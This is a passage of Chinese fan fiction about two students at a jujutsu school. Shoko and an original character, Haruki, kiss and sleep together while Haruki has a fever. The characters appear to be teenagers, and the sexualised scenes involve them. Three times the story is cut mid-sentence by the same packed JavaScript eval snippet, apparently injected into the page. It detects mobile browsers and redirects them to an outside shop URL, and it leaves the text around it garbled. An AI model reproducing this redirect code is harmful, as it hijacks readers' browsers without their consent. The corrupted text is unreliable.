她如黑猫般灵巧,在黑暗中轻松避开各种障碍物,一丝声响也没发出。 回来时,她手中拿着几件衣物,随手扔了一套给家入硝子。接着,她毫不犹豫地抓住自己的裙摆,准备脱下。 就算都是女生,要脱也不应该就在她身边脱吧?家入硝子几乎能瞥见那在黑暗下也溢着微光的苍白身躯,火光从她窈窕的曲线滑下,勾勒出她的曲线。 像是黑夜中含苞待放的幽昙。 她没有再点燃打火机。 见家入硝子看向自己,海月遥疑惑地歪头,一手撑在桌边探身过去,勉强看到她模糊的表情。 “硝子,你表情好怪。” “你穿好衣服,我的表情就正常了。”家入硝子吐槽道。 海月遥发现了有趣之处:“那我反复掀衣服穿衣服,硝子的表情会在古怪和正常之间切换吗?就像机器人一样?” “那我会觉得你疯了。”家入硝子努力保持淡定的表情,站起身给半坐在桌子上的海月遥套上一件上衣,她也任由家入硝子摆弄。 “快把裤子穿上。”家入硝子转过身,准备摸黑去隔壁房间换下湿衣服,却被乱放的椅子绊了一下。 没摔倒,但发出了声响。 海月遥第一时间就从桌子上轻盈地跳下来:“硝子要小心呀。” “干脆就在这里换嘛。”她又补充道,“漆黑的,看不见的话容易摔倒。” “没关系,我有打火机。”家入硝子点燃打火机,在微弱的光亮起时,却发现海月遥目光灼灼地看向自己,握住自己的手腕。 两人呼吸交错。 她都不知道这家伙什么时候靠得这么近。 难道遥走路都没有声音吗? 但家入硝子现在无暇顾及其他。 “硝子,我想亲你。” 她听见对方这么说道。 28.硝线(八) 摇摇晃晃,晕晕乎乎,熟透的柿子沉甸甸地缀在枝头。 或者是一阵风,随着枝条一声低吟,熟透的柿子就这样漫不经心地摔落,甘甜的香气随即弥漫在暖澄澄的秋日里。 海月遥觉得自己就是那颗柿子。 某一刹那,她渴望亲近家入硝子。 她和家入硝子是同一类人,她们有着同样柔软的身段;她们有着同样苍白细腻的肌肤;她们有着同样温柔而又冷漠的态度。 她们的灵魂在某种程度上紧密相连,是最了解彼此的存在。 仿佛水乳交融,她们天生就该在一起。 这一瞬间,美好的真挚的感情熟透了,溢了出来。摇晃的微弱火光就是那缕风,让海月遥遵循本心地说出那句话: “硝子,我想亲你。” 她想离家入硝子更近。 …… 黑暗或许有时候是好的。 家入硝子觉得自己心底那些熟透到近乎腐烂的感情,在昏暗潮湿的角落悄然发酵,那甘美到发腻的甜味被打火机上的橙蓝色火光一燎,散发出更多温暖而靡靡的甜香。 两人之间熟透却各异的情感相互催熟,终于在这一刻达到了临界点。 “啪。” 一声轻响,摔落的是柿子的香气。 于是,家入硝子轻轻撩起额前的刘海,低下头,等待着眼前人的吻。 她笑着说:“我亲了你,所以你也得亲回来,这样才公平,是吗?” 海月遥不回答,踮起脚尖亲了上去。 最终,唇瓣相贴的地方并非额头。 家入硝子起初僵硬地感受到唇上的柔软触感,随后又放松下来。她拉开一小段距离,带着无奈的笑意说道:“不应该是亲额头吗?” 她明白海月遥心中的想法,因此故意以轻松的态度对待。 “可是,今天硝子补妆的时候,没有擦去我用过的那部分口红,给我补的时候却擦了。”海月遥眨眨眼,解释道,“二换一,这才公平。” 她紧紧地搂着家入硝子的脖子,亲昵地贴近她,不顾对方身上湿漉漉的衣服已经打湿了新换上的上衣。 过了一会儿,海月遥才忍不住低低笑了起来,仿佛计谋得逞一般得意。 “硝子没有和歌姬前辈亲过吧,没有和歌姬前辈睡过吧?但硝子这些都跟我做过,所以我才是离硝子最近的那一个。” 海月遥抬头,看向家入硝子:“硝子也更喜欢我吧?” 看吧,家入硝子就明白她是这样想的。 我什么时候也变成了那两个一样的人渣?家入硝子这样想着,反驳道:“这三个明明不是同一件事情,说是公平兑换也太勉强了。” “那我欠硝子一个kiss。”海月遥相当大方,抬起头,“你亲回来吧。”她用完全不通的逻辑,来满足自己亲近家入硝子的欲望。 海月遥也知道家入硝子不在乎。 “那好吧,看来只能这样了。”硝子笑道。 看吧,海月遥就明白她是这样想的。 家入硝子轻轻捧起海月遥的脸,低下头,柔顺的褐发从脸侧滑落。就在双唇即将接触的那一刻,灯突然亮了。 那些黏稠的欲望就被暴露在光下,无处遁形。她终于看清那双澄净而充满信任的蓝眸。 那又如何?家入硝子吻了上去。 甚至在这时,她仍然回想起自己与海月遥的过往对话。每一次越界举动都让她们之间的界限变得模糊。正因如此,一年前的某个夜晚,家入硝子才会站在房门口,以不容置疑的语气对海月遥说道: “遥,虽然我们都是女生、是朋友,但这不意味你可以常来和我挤一张床。有些朋友或许会这样,但我不习惯。” “可是硝子,我们已经一起睡过了。” “所以我现在才和你谈。一起睡觉这样的事情,应该是恋人间的专属。” “那我们就交往吧。”海月遥随口说道。 看到家入硝子露出惊愕的表情,海月遥又耐心地说了一遍:“交往吧,我们。” 家入硝子紧抿着唇瓣,沉默了许久,她才缓缓开口道:“……朋友间的喜欢,并不能成为交往的理由。遥,你还是再好好想想。” 海月遥紧抱枕头,疑惑地问:“这真的很重要吗?我只想更接近硝子,方法无所谓吧?” 在她看来,朋友或恋人只是身份而已,心底的欲望和想法才更关键。既然换个身份能让她们更亲近,那就换吧,这并不重要。 她向来以自我为中心,因此能无视这些“身份”背后的含义和责任,也能忽视家入硝子听到这话的心情。 仅仅为了想拥抱、想一起睡就交往吗? 她确实是自私的人渣。 而拒绝她交往请求却又继续享受她接近的自己,同样是人渣。 家入硝子吻上了海月遥。 …… 或许是昨天保持着湿透的状态太久,外加上本就是沁着凉意的秋夜,等第二天海月遥醒来时,只觉大脑晕晕乎乎,像是被一根无形的细线拉扯着,伴随着隐隐约约的轻微疼痛。 好渴…… 她摸了摸自己的额头,转过头,轻轻拍了拍身旁仍在熟睡的家入硝子。等她睡眼惺忪地睁开眼睛后,海月遥声音沙哑地说道:“硝子,我发烧了。” 家入硝子一瞬间清醒过来,急忙翻出宿舍里的医药箱,给她量体温。 “37.5度……是低烧。”她看了眼体温计上的数字,皱起眉头,“我给你拿点退烧药,吃了再睡会儿。” “哦。”海月遥呆滞地应了一声,眼睛慢慢地闭上,“硝子帮我请假。” “知道啦,你好好休息。”家入硝子为她掖好被子,“药和水在床头柜,别忘了。” “1……” …… 等等家入硝子穿戴整齐,匆匆赶到教学楼时,她一眼就看见两个同期正低头弯腰,一副认错模样并排跪在夜蛾正道面前。显然,他们因为昨天的闹剧而受到了老师的惩罚,每人领了一记拳头。 家入硝子心中暗自发笑,但脸上却保持正色,对夜蛾正道说道:“夜蛾老师,遥发低烧了,我给她请个假。” “小遥发烧了?”原本跪着的夏油杰立刻站起来,似乎想赶到可怜的幼驯染身边照顾她。 “嗯,应该是昨天受凉了。”家入硝子语气平和地解释着,同时安慰夏油杰,“她现在应该还在休息,你不用太担心。” “这就难办了……其实还有任务。”夜蛾正道摸了摸下巴,“悟,杰,你们谁领一下遥的任务吧?今天上午的课取消。” “我来吧。”夏油杰毫不犹豫地回答道。他朝家入硝子投去歉意的微笑,“麻烦硝子照顾一下小遥,我尽快完成任务就回来。” “那我没事了吧?”跪着也不能让五条悟安静下来,他跃跃欲试,期待地看着夜蛾正道。 “你有。本来是你和杰一起的任务,现在全交给你了。”夜蛾正道快被他这幅没正形的样子气笑了,“难度不算大,你一个人也能完成。” 五条悟不满地撇撇嘴:“是~” …… 本来就是学校里唯一医生的家入硝子自然被夜蛾正道撵去看发烧的海月遥。 可家入硝子没那么着急。她先是轻手轻脚开了门,看见海月遥似乎还在睡觉,床头柜上的药也原封未动,显然是忘记了吃药。 等她醒了再催促她吃药吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733461|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。家入硝子关上门,站在宿舍门外的走廊上,点燃一根烟。 尽管昨天她曾信誓旦旦地说要戒烟,但想起夏油杰那句带着歉意的“麻烦硝子照顾一下小遥”,她又忍不住抽起烟。 不用他说,她当然也会去。 家入硝子倚靠在阳台上,眉眼半阖,青白色的烟雾模糊了她的神情。她缓缓地吞吐着烟雾,理清纷繁的思绪。 过了一会儿,细细密密的雨滴就从昏沉的天幕坠了下来,像是将天地连接在一起。 下雨了。 有些沁凉的雨丝被风裹挟,飘到她脸上,又从眼角顺着流了下来。 看着秋雨连绵,家入硝子最终没了兴致,摁灭烟头,扔进便携烟灰盒里,又往身上喷了点海月遥送的除味剂,确保身上没有烟味后,才重新走进房间。 卧室里被子拱起一大团,那家伙连脑袋都蒙在被子下,大概还在睡呢。家入硝子无奈地走上前,把她的头从暖热的被窝里解救出来。 “硝子……”海月遥迷迷糊糊地醒来,坐起身紧紧地抱着家入硝子,头埋在她的脖颈间,似乎想说些什么,却又忘记了。被发烧影响嗅觉的她,在家入硝子身上嗅了很久,才断定道:“硝子刚刚抽了烟。” “哈哈,不小心被你发现了~”家入硝子轻轻拍了拍她的头,扫了眼桌上的退烧药,“怎么不吃药?” “硝子不是说要戒烟吗?”海月遥不回答她的话,继续固执地问道,“怎么又抽烟了……” “戒烟总得要一步一步来嘛,是不是?”家入硝子耐心地解释着,同时给她拉了拉被子,让她不至于完全暴露在湿冷的空气中。她一手轻抚着海月遥柔顺的黑发。 海月遥却还不依不饶:“你没用我送的打火机。” “用了的话,说不定我明天就要躺在床上陪你。”家入硝子轻笑,“我可不想淋湿。” “但硝子用了我送的除味剂,原谅你了。”海月遥自顾自地说着话,又埋下头,“橘子……好闻的味道……” “既然这样喜欢这个味道,不如自己拿着闻闻?”家入硝子将海月遥送自己的柑橘味香水塞在她手中。 海月遥看了眼那支细长的玻璃瓶,和家入硝子眼睛颜色相似的琥珀色液体,随着她的轻轻摇晃而泛起涟漪。她一手握住,放在鼻翼下嗅了嗅,清新透彻又不张扬的香气,与家入硝子的气质如出一辙。 “但还是硝子身上的味道更好闻……”她随手把瓶子扔到床上,又抱着家入硝子。 “谢谢夸奖。”家入硝子轻笑一声,“不过我只是喷了些你送的香水而已。” “不是哦。” 海月遥往日体温偏低,可现在身上却比家入硝子烫,她的手抚上硝子的侧颈,轻轻摩挲着,几乎让家入硝子觉得发痒,忍不住缩了缩脖子。 “你知道吗,硝子?香水的味道其实会随每个人皮肤的温度、湿度和PH值而微妙变化……” 她侧过头,嘴唇就停在敏感的脖颈不远处,说话间,湿热的吐息喷洒在细腻的肌肤,沁着一层透明迷蒙的水雾。 家入硝子在时,海月遥敏锐的感官都会急切地争先恐后地涌向她。 “我的五感很敏锐,所以我知道,我喜欢的只是硝子身上的味道……” 说着,她勾下领口。 家入硝子眼尖地瞥到一抹黑色——那是她送的颈圈。她什么时候戴上的?明明睡之前都摘下来了。 “刚刚我回房间喷了硝子送的香水……现在我的体温比以前高……”许是发了烧,她的声音不似以前清冷,而是更加黏稠。 “所以……” “硝子要试试我的味道吗?” 家入硝子看向她,只见一汪湿漉漉的蓝。 29.硝线(九) 家入硝子低下头。 或许是海月遥的话让她产生一些心理作用,她觉得黑发少女身上幽深的香气愈与以往不同,勾得她头晕目眩。 她仿佛醉了酒,夜里独自站在大海边缘。潮水不断翻涌,一次次漫过她的身躯。 涨潮了。 咸腥的海水逐渐漫过她的脚踝、小腿、腰臀、肩颈……最终,海水淹没她的头顶,她与大海合而为一。 这一过程并不可怕,反而平静温和,她那些隐秘的心思也被这无垠的海洋所包容。 海月遥坐起身,抱着家入硝子,让她舒适地依偎在自己颈肩之间。她发着呆,漫不经心地把玩着硝子褐色的头发,偶尔侧首瞥向她,仿佛是在轻吻她的发丝。 低烧让她的大脑略显迟钝,但听觉却似乎更加敏锐。她能清晰地听见家入硝子轻柔的呼吸声,以及那渐渐平稳的心跳。 热。 海月遥心想,挣开身上的被子,抱得更紧了,她侧脸贴上家入硝子微凉的脸颊,蹭了蹭,试图让自己更凉快一点。 家入硝子则是被她烫得一愣。 “开始热了?”她轻声问道,稍微拉开距离,伸手探向她滚烫的额头。那平日里苍白的脸颊此刻已布满红潮,琉璃蓝的猫眼里染着湿润迷蒙的水光,呼吸都带着灼热。 “嗯,发热期到了……”海月遥声音喑哑,坐在床边,小口抿着水杯中的水。 家入硝子拿起床头的退烧药:“如果你能先把退烧药吃掉的话,我将感激不尽。” “0。” “或许你不是那种需要我哄才吃药的人?当然,如果你需要,我也可以。”家入硝子调侃。 海月遥伸出手,家入硝子笑着抱住她。 发烧的少女趁机解开她的扣子,两人肌肤只隔着单薄布料贴合,滚烫的温度便透过去。 “我想,这项服务应该不包括脱衣服?”话是这么说,她却没有挣开。 “硝子身上凉快。”海月遥热得难受,“我想吃冰淇淋。” “没有。” “一半以上都是冰块的汽水。” “没有。” “放在冰箱里冰过的奶油泡芙。” “很抱歉,店小东西少,也没有。” “我要投诉。” “鄙人就是店长。”家入硝子拍了拍她的头,“先把药吃了,等好了出去吃。” “0。” 再次被拒绝,家入硝子也不恼,耐心地问:“为什么不吃药?” “之前回房间太渴了,随手拿了瓶水喝,结果是酒。”海月遥面无表情地解释,“现在不能吃药了。” 厉害。 你以为她会信吗? 家入硝子平静地给她比了个大拇指,海月遥装作惭愧地低下头。 “那你就烧着吧。”家入硝子决定不管这个发了烧还喝酒的家伙,坐到书桌边看书。 海月遥自力更生地贴上退热贴,盘腿坐在床上晃来晃去,目光紧盯着家入硝子,偶尔喝口水。 水杯一空,她又自己倒水。 家入硝子本来不想管她,直到看到她再往水杯里倒清酒时,大声制止:“发烧不能喝!” 海月遥露出“原来是酒啊不小心看错了呢”的表情——没有,还是那副面瘫样,但她相信自己的眼神一定可以演出这种适当的迷茫、震惊和惶恐的扇形图。 但家入硝子只见她像机器故障般僵硬地转过头,一动不动。如果要玩谁是木头人的游戏,她一定是赢家。 酒被没收后,海月遥垂头丧气地蹲到角落,试图以哀怨眼神让家入硝子改变主意。 见那个狠心的女人不分自己一个眼神,她突然大叫一声:“我渴了!” 家入硝子递给她一杯水。 “要冰的!” 家入硝子将水放入冰箱三秒后递出。 “要加冰块的!” 家入硝子准备钳着她的下巴灌水。 可她绝望地发现,就算发低烧了,海月遥的体力也比她一个奶妈强。满屋子乱跑都逮不着这个逆女。 夏油以前到底是怎么熬过来的……家入硝子对夏油杰心生同情。她终于明白,夏油杰临走前那歉意的笑容背后所隐藏的含义。 是这样的,夏油妈妈真的会找到冰水。没有条件也要创造条件,再苦也不能苦孩子! 再说,一般海月遥发烧烧糊涂时,还会拽着他的刘海不放,大喊着“大风车”,甩来甩去。她力气又大,很难摆脱。相比之下,夏油杰觉得还是满足她这些小要求来得更轻松。 一个字。 熊。 说多都是泪。 “给你喝口酒,能安静下来吗?”家入硝子强忍怒气,僵硬地笑着问。要不是打不过,她早就一拳挥过去了。 啊,好想抽烟…… 熊孩子沉思片刻,点了点头。 “好了,先到我这儿来。”家入硝子朝她招招手,海月遥顺从地走去,仰头等待着。 这个时候看起来倒像是天使了。家入硝子心不在焉地拿起度数最低的酒,直接含着一口,一手捧着她的脸,低头吻了下去。 清冽的酒液在两人唇间流转,那未能及时咽下的部分,顺着嘴角溢出,沿着下颌,滑过雪白的脖颈,留下蜿蜒的水痕。 这个吻一开始还是清凉的,后面或许是酒精的催化,逐渐变得炙热起来,染上一丝难以言说的腥红与燥热。 厚实的窗帘阻隔了外界的潮湿水汽和绵绵雨声,室内静谧无声,仅能听到两人换气时发出的细微呜咽和喘息。 两个人的眉眼都懒倦地垂下,相似又不同的泪痣几次快要贴合在一起。 “硝子太狡猾了……”一吻罢,海月遥伸出湿红的舌尖沿着水痕一点点舔去残余的液体,从唇角到脖颈,最后解开家入硝子的衣扣,缓缓向下。“我本来应该尝一口的,可连一半都没喝进去……” 她说话时,薄唇一张一合地吐着热气,滚烫的呼吸扑洒在家入硝子因暴露在湿冷空气下而略显冰凉的肌肤上,激起一阵细微的颤栗。 家入硝子几乎是下意识地打了个寒颤 到这一步或许还是太过了。 她几次打量着海月遥上挑的猫眼,想从那双蓝眸中窥探这恶劣家伙的想法,可这人似乎真的只是在惋惜那些没喝到的酒。 所以家入硝子稍稍往后退一步,和海月遥拉远距离,她嘴角勾起一抹浅笑,轻声说道:“能尝到味道就不错了,等你退烧后,想怎么喝我都会奉陪到底。” 说着,她下意识地伸手去整理那被弄得有些凌乱的衣领,指尖触碰到的肌肤上,似乎还残留着刚才那被舌尖细细舔舐过的触感,那一刹那的战栗感仿佛又重新回到了她的身体上。 现在家入硝子感觉更烫的或许是自己。 燥热如附骨之疽,难以消散。 可大魔王显然没有放过她的打算。饱和度极高的蓝眸微微眯起,她冷酷地宣布:“不行,说好的一口就必须是满满一口才行。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738004|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是硝子你亲自答应我的,不能食言。” “那你自己喝一口吧……”家入硝子直接将酒瓶递给她,但对方并未接手。 “硝子明明很喜欢这样,为什么要拒绝呢?”海月遥歪头,不解地问道。 明明昨天后面还坏心眼地含着烟吻她,让苦涩的烟雾弥漫在口腔里,烟雾从细碎的呻吟中溢出。硝子还看着她因为晕烟而头昏脑涨,又猛地拉开距离不断咳嗽,眼角都沁出泪。 “因为我觉得亲一个头脑不清醒的傻子犯法。”家入硝子说着相当过分的话。 “第一,我很清醒。”海月遥否认,“我还能背出圆周率小数点后一百位呢,如果需要,我可以背给你听。” “我知道答案,所以想靠乱背糊弄过去可做不到。”家入硝子语气平淡。“背吧。” “抱歉,我不知道。”海月遥坦率地承认。她一直认为记这些东西没有太大价值,所以懒得去记。 家入硝子一副“我早就知道”的表情。事实上,她也不知道答案,刚才只是信口胡诌。 海月遥接着说:“第二,硝子已经亲过了。” “所以我现在正处于深切的愧疚中。”家入硝子脸上波澜不惊,淡淡地说道。 “愧疚的表现是脸红吗?”海月遥揉捏着她的脸颊,“硝子你的脸都快比我烫了。” “脸红也是羞愧的表现。” “那好吧。”海月遥似乎准备放弃。家入硝子也不知自己是该放下心还是惋惜。然而,就在她这样想时,海月遥再次含着酒吻了上来。 她主动时总是不顾另一人的想法,连吻的时候咬破对方的嘴唇也不在意。 湿软腥红的舌被酒液浸透,舔舐过被咬破的伤口,带着腥热的燥意在皮肉下蔓延。 就像是被酒精激发了最原始最本真的渴望,两个人在这一吻后也没有抗拒,静静地、缠绵地沉浸在吻中。 没有盖上的酒瓶就放在书桌上,当两人不小心撞上书桌时,应声倒下,透明的酒液肆意地淌了一桌,沾湿了桌上随意敞开的书页。 那些苍白的纸页在酒的浸润下仿佛获得了生命,它们颤抖地、紧紧地粘合在一起,上面的字迹也因酒的渗透而变得模糊不清,泅开的水墨互相渗透着,墨色的痕迹渐渐沉了下去。 “想这么做的不是我。”在间隙时,海月遥任由对方摆布,轻声说道,“是硝子想要这样,我只是在满足硝子的愿望……” 被她发现了。家入硝子心想,但也不感到惊讶:“抱歉呐,总是让你配合我的任性。”声音中带着几分自嘲和歉意。 “果然是这样。”哪怕状态不好,海月遥的体力也比家入硝子强,她甚至有闲心把玩她的发丝,故意说道:“硝子,亲傻子犯法的话,那现在这样是不是罪不可赦了。” 窗外的雨还没停,淅淅沥沥地下着。黄褐色的树叶也被雨水拍打得将掉未掉,在冰冷的空气里打着颤。最后还是不堪重负地从树上飘落,掉进水洼里,溅起一圈又一圈涟漪。 “哈哈,”家入硝子笑着,她的回答也被雨声打得有些细碎,“那就只能委屈你,成为我的共犯了……” “没关系,”海月遥轻吻她的额头,“我足够喜欢硝子……” 两人的鼻尖都沁出一点细汗,在雨水高涨,压抑不住声音时又开始接吻。叫声和喘息含糊在唇齿间交换,最终被两人一同咽下。 …… “硝子你会被我传染吗?” “不会,我可是医生。” 30.硝线(十) 考虑到夏油杰之后会来探望,家入硝子还是催促海月遥去她自己的房间休息。 海月遥乖乖地躺在床上,拉起被子,只露出一双眼睛。等夏油杰风尘仆仆赶来时,看见的就是这么大一只海月版猫猫虫。 他身上还带着雨水的湿气,黑发蜷曲地贴在脸侧,显然还没来得及换上干爽的衣服,就急匆匆地赶了过来。 夏油杰蹙着眉,摸了摸她明显还在发烫的额头,担忧地说道:“怎么还这么烫,没吃退烧药吗……” 他说着,同时无奈地把被子往下拉了一点,看着她整个脸上满是红潮,额头和脖颈都渗着细汗。“都出汗了,还捂着的话,烧可退不下来。” “杰的手好冰。”海月遥吐槽。 “是你额头太烫了。”夏油杰也不恼,而是手贴在她额头上给她降温,等自己的手心也被她的体温烫热后,又细心地贴上退热贴。 “这家伙喝了酒,不能吃药。”家入硝子在一旁双手环胸,淡淡地解释。“就在我去教学楼请假的时候。” 夏油杰诧异地看向面无表情的海月遥,她毫不心虚地对视过去。 他差点忘了她发烧时会有一点点任性。 夏油杰转向家入硝子,诚恳地道歉:“对不起,肯定给硝子添了不少麻烦吧。” “她吵着要冰淇淋、一半以上都是冰块的汽水还有放在冰箱里冰过的奶油泡芙。”家入硝子一字不差地复述,无视海月遥向夏油杰抱怨“硝子什么都没给我”的话,顿了顿,又补充道:“后来还满屋子乱跑,大叫着要喝酒。” 夏油杰露出同情的眼神。 难怪硝子现在身上也满是汗,累得脸都红了,像是刚做过剧烈运动。夏油杰心想。难为她按住这个力气极大的熊孩子了。 “硝子,剩下的就交给我吧。下次有空我再请你喝酒。”他朝家入硝子愧疚地笑了笑。 “我也要喝!”熊孩子开始大声嚷嚷。 “麻烦人的那一方可没有这个待遇。”夏油杰冷酷地拒绝她,同时严肃地指出,“等你好了,要跟硝子道歉。” “不要。”海月遥毫不犹豫地拒绝,她显然并不认为自己有错。在她看来,分明是自己在迁就家入硝子,要道歉也该是对方先道歉。 这么想着,她的蓝眼睛又扫了眼表情古怪的家入硝子,转头准备和自幼亲密无间的幼驯染分享刚刚的经历,“杰,刚刚我和硝子……” 她的话还没说完,就被家入硝子笑着打断:“怎么,又要告我的状?” “才不是告状,我明明是在陈述事实。”海月遥立刻反驳道。 “好了好了,就先这样。”夏油杰及时出面充当和事佬,他总觉得再这样下去,两人恐怕真的要吵起来,“硝子,你先去休息吧。剩下的我来处理就好。” “行吧,我刚好出去抽根烟。”家入硝子选择妥协,“夏油,喝酒也不用了,不然遥又要闹。还有,遥,不许告我的状。” 她笑着说,拍了拍海月遥的头叮嘱道。 海月遥好像明白了她的意思,又闭着嘴巴不说话了,安安静静地缩回被子。 等她走出海月遥的宿舍,关上门前,还能听到夏油杰对海月遥说:“你看你这次都把硝子折腾成什么样了。” “我哪有折腾硝子!”海月遥不可置信地反驳,“硝子可喜欢了!” “是吗?”夏油杰想起来家入硝子累得浑身是汗,“明明都累成那样了。” “那是因为硝子体力没我好。”海月遥莫名其妙还有些得意,似乎完全没意识到问题所在,“算下来,还是我动得更多。” 夏油杰脑海中浮现出海月遥满屋子乱跑,而家入硝子在后面气喘吁吁地追赶的画面。他无奈地摇摇头,再次说道:“等你烧退了,还是向硝子道个歉吧。” “……” “……别转移视线。” “0。” …… 明明这恶劣的漂亮家伙一开始动都不动,就懒洋洋地躺着享受。等自己累趴下了,她才一边嘲笑自己,一边动。 家入硝子背靠着宿舍门,心里暗自反驳海月遥刚才的话。她心不在焉地从烟盒抽出一根烟,指尖轻轻摩挲着打火机。 完了,她现在觉得自己简直就是人渣。 甚至对一无所知的夏油杰产生了愧疚,当然只有一点点。这种愧疚感还没有对海月遥本人的愧疚感大。 家入硝子自然能看出海月遥的想法:这个淡漠的家伙根本不在意接吻或其他行为的深层含义,她只是单纯地想满足硝子的愿望。在她看来,付出些许力气就能让朋友开心,这无疑是一笔划算的交易。 她也坚信,倘若自己提出交往,海月遥定会毫不犹豫地答应。 水乳交融中,海月遥那句冷漠而平静的话至今仍在她耳畔回响:“想这么做的不是我,是硝子想要这样,我只是在满足硝子的愿望。” 家入硝子正要点烟,却发现打火机喷出的是水,打湿了烟,甚至还有的溅到了脸上。她才发现刚才自己走神时拿出了海月遥送的恶作剧打火机。 “……” 透明的水珠沿着她清丽白皙的脸缓缓流下,最终滴落在地上。 “噗。” 家入硝子沉默许久,突然笑了起来:“哈哈,嗯,是时候该戒烟了。” 她自言自语,将湿透的烟扔进便携烟灰盒,轻松地转身离去。 出了一身汗,总该洗个澡。 …… 虽然昨天还信誓旦旦地跟海月遥说自己不会生病,但第二天家入硝子就感觉大脑昏昏沉沉,所幸不算严重。 她拖着疲惫的身体走向教室,打算等夜蛾老师来了再跟他说一声,顺便找个理由翘课。 海月遥就住在她隔壁,但家入硝子不指望这个昨天还在发烧的人能帮她请假。而且,她还得去医务室待着。算算时间,学弟们也快出任务回来了,可能还需要她治疗。既然这样,她决定还是直接来教室,省得麻烦。 家入硝子趴在自己的座位上,昏昏欲睡。她都没想到,自己这个病患竟然是第一个到的。那两个同期难道是准备踩着迟到的边缘过来吗? 就在她暗自腹诽时,五条悟哼着歌,歪七八扭地闯进教室,大喊一句:“老子更快!” 他这才看到趴着的家入硝子,见怪不怪地坐回自己的座位,往后一靠,看上去随时会摔倒。过了一会儿,他可能觉得无聊,开始不停地戳家入硝子的后背:“硝子硝子硝子……” 家入硝子忍无可忍,转过头,语气不善地问:“……有什么事吗?五条。” “硝子,你脸好红!”五条悟惊呼。 “有点低热。”家入硝子皱着眉解释,“早上量的时候口腔温度是37.4度。” “你不会被遥那家伙传染了吧……”五条悟吐槽,“那你先去医务室休息吧,等下我帮你请假。或者你干脆回宿舍,过来干嘛?” “七海和灰原的外派任务差不多今天下午结束,到时候可能需要我,所以我就过来了。” “我对男人的辛苦不感兴趣,那点伤舔舔就好了。”五条悟嘟囔着,催促道,“你先去休息吧。还是说,硝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741625|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子你已经弱到走不动了?” 他得意洋洋地说:“那硝子你求我的话,我就带你回宿舍,我很快的,一下子就到了。” 能把关心人的话说得这么扭曲,五条这家伙确实也有一套。家入硝子心想。 “你跟夜蛾老师说一声,我先去医务室躺会儿……”家入硝子撑着桌子,勉强站了起来。 此时,夏油杰刚好走进教室,一眼就看出家入硝子脸色不对,担忧地问道:“硝子,你不舒服吗?” “硝子怎么了?” 清冷的声音从夏油杰背后响起,海月遥从他背后探出头来,她面色如常,昨天虽然折腾了许久,但今天一早便恢复得差不多了,现在精力充沛。 她一眼看见家入硝子绯红的脸颊,平日半垂的猫眼此刻罕见地睁大。她迅速从夏油杰身旁穿过,几步跑到家入硝子面前,捧起她的脸仔细检查。 接着,她一言不发地拉起硝子的手就往外走。察觉到家入硝子四肢无力,跟不上她的步伐,海月遥直接将她抱了起来。 “等下,我能走。”家入硝子不觉得被比自己矮半个头的少女抱起来是什么很雅观的场景。 “硝子昨天告诉我,你不会被我传染。”海月遥面无表情地回怼,又转头说,“帮我向夜蛾老师解释一下。” “这倒是没问题……但你们两个不会轮流生病吧。”五条悟臭着脸,一时都不知道怎么说这两个生病的同期。“而且遥你不是昨天才发烧吗?就好了?” 海月遥不答,迅速离开。 夏油杰则感到有些古怪,他复杂地看着两人远去的背影,但最后还是将这种莫名的感觉归咎于错觉。 …… 海月遥小心地把家入硝子安放在医务室的护理床上,然后熟练地找到医药箱,取出了体温计和必需的药物。 被摁在床上的家入硝子:…… 不,她只是有点头疼,也没严重到这种地步,但看见海月遥那副毫无表情的脸,她还是没有出声反驳。 过了大约一刻钟,或许更久,等两人都安顿好之后,她们的另两名同期才姗姗来迟。 海月遥对这两人的到来感到困惑。 “总不能让一个刚痊愈的病人去照顾另一个吧。”夏油杰叹了口气,“夜蛾老师也是这个意思。” 五条悟则是嘲笑道:“也不知道你们怎么弱成这样。” 海月遥没搭理他们。 她蹲在护理床边,声音突然低下来,一手紧握住家入硝子的手,贴在自己的脸侧。家入硝子滚烫的手心传来阵阵热量,让海月遥想起了昨天那相似的触感 阴湿秋雨里的炽热相融。 “硝子。”海月遥轻声唤道。家入硝子转过头看向她,她继续说道:“硝子不是说,不会被我传染的吗?” “抱歉啦,看来医生偶尔也会误判。” “……硝子是因为我才这样的,我会负责的。”海月遥说着,原本放在家入硝子手背上的手渐渐向上,从背后与她十指紧扣。 “说了,不能让一个病人照顾另一个……”夏油杰无奈地劝道。 其他两人都误解了她的意思。 但家入硝子懂她。 “我可是很任性的,会毫不客气地使唤你哦。”家入硝子笑着回应。 “没关系,我不一定听。” “不听?嗯,这样也挺好……”家入硝子笑道,“那就请你负责到底,一直照顾我这个任性的人吧。” “好。” 所有人都在场。 她们二人却心照不宣。 31.硝线(十一) 